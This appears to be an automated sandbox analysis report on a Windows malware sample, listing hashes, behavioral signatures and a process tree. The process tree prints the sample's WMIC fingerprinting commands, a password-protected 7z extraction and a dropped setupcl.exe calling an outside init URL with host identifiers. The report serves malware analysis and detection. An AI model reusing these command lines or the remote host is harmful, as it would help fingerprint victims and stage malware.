Analysis
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max time kernel
93s -
max time network
97s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
02/06/2024, 17:23
Static task
static1
Behavioral task
behavioral1
Sample
8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/7za.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/7za.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240220-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240508-en
General
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Target
8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
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Size
406KB
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MD5
8ed848b82e2323e88daa47e864c1465e
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SHA1
0b27e5c6d8711eca1ab13326e61923d040fbfc76
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SHA256
61a1af913ef88b3f9c8e214e05f11305a7cadf4b9681a6c782556b35d63f9455
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SHA512
41a29b56a37beb94913361fae90a8a67aa8a98377a18ff49af0c49e2eab58772fffb8c858a757dd6777365e8b7858bf8a05963fb2bef8c9e6f4d024b26417160
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SSDEEP
12288:XA0i50GlEwz66JcUXKQJMeTupN+CVr8Jaf7IVz92J7r:XAfyGqXUXJMnNRVrdf7IVa3
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 764 7za.exe 5052 setupcl.exe -
Loads dropped DLL 5 IoCs
pid Process 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4480 WMIC.exe Token: SeSecurityPrivilege 4480 WMIC.exe Token: SeTakeOwnershipPrivilege 4480 WMIC.exe Token: SeLoadDriverPrivilege 4480 WMIC.exe Token: SeSystemProfilePrivilege 4480 WMIC.exe Token: SeSystemtimePrivilege 4480 WMIC.exe Token: SeProfSingleProcessPrivilege 4480 WMIC.exe Token: SeIncBasePriorityPrivilege 4480 WMIC.exe Token: SeCreatePagefilePrivilege 4480 WMIC.exe Token: SeBackupPrivilege 4480 WMIC.exe Token: SeRestorePrivilege 4480 WMIC.exe Token: SeShutdownPrivilege 4480 WMIC.exe Token: SeDebugPrivilege 4480 WMIC.exe Token: SeSystemEnvironmentPrivilege 4480 WMIC.exe Token: SeRemoteShutdownPrivilege 4480 WMIC.exe Token: SeUndockPrivilege 4480 WMIC.exe Token: SeManageVolumePrivilege 4480 WMIC.exe Token: 33 4480 WMIC.exe Token: 34 4480 WMIC.exe Token: 35 4480 WMIC.exe Token: 36 4480 WMIC.exe Token: SeIncreaseQuotaPrivilege 4480 WMIC.exe Token: SeSecurityPrivilege 4480 WMIC.exe Token: SeTakeOwnershipPrivilege 4480 WMIC.exe Token: SeLoadDriverPrivilege 4480 WMIC.exe Token: SeSystemProfilePrivilege 4480 WMIC.exe Token: SeSystemtimePrivilege 4480 WMIC.exe Token: SeProfSingleProcessPrivilege 4480 WMIC.exe Token: SeIncBasePriorityPrivilege 4480 WMIC.exe Token: SeCreatePagefilePrivilege 4480 WMIC.exe Token: SeBackupPrivilege 4480 WMIC.exe Token: SeRestorePrivilege 4480 WMIC.exe Token: SeShutdownPrivilege 4480 WMIC.exe Token: SeDebugPrivilege 4480 WMIC.exe Token: SeSystemEnvironmentPrivilege 4480 WMIC.exe Token: SeRemoteShutdownPrivilege 4480 WMIC.exe Token: SeUndockPrivilege 4480 WMIC.exe Token: SeManageVolumePrivilege 4480 WMIC.exe Token: 33 4480 WMIC.exe Token: 34 4480 WMIC.exe Token: 35 4480 WMIC.exe Token: 36 4480 WMIC.exe Token: SeIncreaseQuotaPrivilege 400 WMIC.exe Token: SeSecurityPrivilege 400 WMIC.exe Token: SeTakeOwnershipPrivilege 400 WMIC.exe Token: SeLoadDriverPrivilege 400 WMIC.exe Token: SeSystemProfilePrivilege 400 WMIC.exe Token: SeSystemtimePrivilege 400 WMIC.exe Token: SeProfSingleProcessPrivilege 400 WMIC.exe Token: SeIncBasePriorityPrivilege 400 WMIC.exe Token: SeCreatePagefilePrivilege 400 WMIC.exe Token: SeBackupPrivilege 400 WMIC.exe Token: SeRestorePrivilege 400 WMIC.exe Token: SeShutdownPrivilege 400 WMIC.exe Token: SeDebugPrivilege 400 WMIC.exe Token: SeSystemEnvironmentPrivilege 400 WMIC.exe Token: SeRemoteShutdownPrivilege 400 WMIC.exe Token: SeUndockPrivilege 400 WMIC.exe Token: SeManageVolumePrivilege 400 WMIC.exe Token: 33 400 WMIC.exe Token: 34 400 WMIC.exe Token: 35 400 WMIC.exe Token: 36 400 WMIC.exe Token: SeIncreaseQuotaPrivilege 400 WMIC.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 5052 setupcl.exe 5052 setupcl.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 4408 wrote to memory of 4480 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 83 PID 4408 wrote to memory of 4480 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 83 PID 4408 wrote to memory of 4480 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 83 PID 4408 wrote to memory of 400 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 87 PID 4408 wrote to memory of 400 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 87 PID 4408 wrote to memory of 400 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 87 PID 4408 wrote to memory of 5072 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 90 PID 4408 wrote to memory of 5072 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 90 PID 4408 wrote to memory of 5072 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 90 PID 4408 wrote to memory of 1288 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 93 PID 4408 wrote to memory of 1288 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 93 PID 4408 wrote to memory of 1288 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 93 PID 4408 wrote to memory of 764 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 95 PID 4408 wrote to memory of 764 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 95 PID 4408 wrote to memory of 764 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 95 PID 4408 wrote to memory of 5052 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 97 PID 4408 wrote to memory of 5052 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 97 PID 4408 wrote to memory of 5052 4408 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe 97 PID 5052 wrote to memory of 1504 5052 setupcl.exe 98 PID 5052 wrote to memory of 1504 5052 setupcl.exe 98 PID 5052 wrote to memory of 1504 5052 setupcl.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get UUID /FORMAT:textvaluelist.xsl2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4480
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C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl2⤵
- Suspicious use of AdjustPrivilegeToken
PID:400
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C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get Version /FORMAT:textvaluelist.xsl2⤵PID:5072
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C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get Name /FORMAT:textvaluelist.xsl2⤵PID:1288
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C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\7za.exe7za.exe e -y -p"0fa5b66b0db62333dc8db11064b97f90" [RANDOM_STRING].7z2⤵
- Executes dropped EXE
PID:764
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C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe"C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe" /initurl http://sub.yorkshatb.com/init/8ed848b82e2323e88daa47e864c1465e_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\SysWOW64\Wbem\wmic.exewmic bios get serialnumber, version3⤵PID:1504
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
574KB
MD542badc1d2f03a8b1e4875740d3d49336
SHA1cee178da1fb05f99af7a3547093122893bd1eb46
SHA256c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
SHA5126bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c
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Filesize
80KB
MD58b4f2b82688776536999d719951ca4b2
SHA1452783380250c619f08bee0d68bcf88261545a5e
SHA256adf69e4b27d83c0124dd91180d085443f2d639923815ad1c30fd01f8eeff9932
SHA5127a2f68642169492943b91aeee86c0a77240a07e7538b04ad94fed311e49f0ba335cb2058e7b84387266fccb197c2dbb2a485dc4c7f60f0912404adbf295e6d53
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Filesize
8KB
MD5b8be6632a7dc8136ff01338be40fe701
SHA1043fa16929b2af5ed5c1c59b4035a10cf765fb43
SHA256289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085
SHA512403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8
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Filesize
193KB
MD510bd2af1b07ec6bc9cd17ba512569e59
SHA1807e17ab1b98177e135d30941b45081960d1e866
SHA2569c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c
SHA512deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed